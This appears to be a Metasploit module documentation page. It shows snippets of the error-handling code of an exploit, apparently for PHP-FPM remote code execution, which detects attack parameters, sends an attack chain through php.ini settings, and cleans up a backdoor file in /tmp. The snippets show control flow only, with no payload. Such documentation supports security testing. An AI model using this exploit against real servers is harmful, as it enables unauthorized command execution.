Here is a relevant code snippet related to the "Unable to detect parameters" error message:

374:	    print_status('Doing sanity check...')
375:	    return CheckCode::Detected('Sanity check failed') unless sanity_check?
376:	
377:	    print_status('Detecting attack parameters...')
378:	    @params = detect_params(qsl_candidates)
379:	    return CheckCode::Detected('Unable to detect parameters') unless @params
380:	
381:	    print_good("Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}")
382:	    print_good('Target is vulnerable!')
383:	    CheckCode::Vulnerable
384:	  ensure

Target is not vulnerable.


Here is a relevant code snippet related to the "Target is not vulnerable." error message:

385:	    disconnect(client) if client&.conn?
386:	  end
387:	
388:	  def exploit
389:	    unless check == CheckCode::Vulnerable
390:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
391:	    end
392:	    if @params[:qsl].nil? || @params[:customh_length].nil?
393:	      fail_with Failure::NotVulnerable, 'Attack parameters not found'
394:	    end
395:	

Attack parameters not found


Here is a relevant code snippet related to the "Attack parameters not found" error message:

388:	  def exploit
389:	    unless check == CheckCode::Vulnerable
390:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
391:	    end
392:	    if @params[:qsl].nil? || @params[:customh_length].nil?
393:	      fail_with Failure::NotVulnerable, 'Attack parameters not found'
394:	    end
395:	
396:	    print_status('Performing attack using php.ini settings...')
397:	    if repeat_operation(:send_attack_chain)
398:	      print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'")

Failed to send the attack chain


Here is a relevant code snippet related to the "Failed to send the attack chain" error message:

395:	
396:	    print_status('Performing attack using php.ini settings...')
397:	    if repeat_operation(:send_attack_chain)
398:	      print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'")
399:	    else
400:	      fail_with Failure::Unknown, 'Failed to send the attack chain'
401:	    end
402:	
403:	    print_status("Trying to cleanup /tmp/#{@filename}...")
404:	    if repeat_operation(:send_backdoor_cleanup)
405:	      print_good('Cleanup done!')

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • neex
  • cdelafuente-r7

Version


This page has been produced using Metasploit Framework version 6.1.31-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.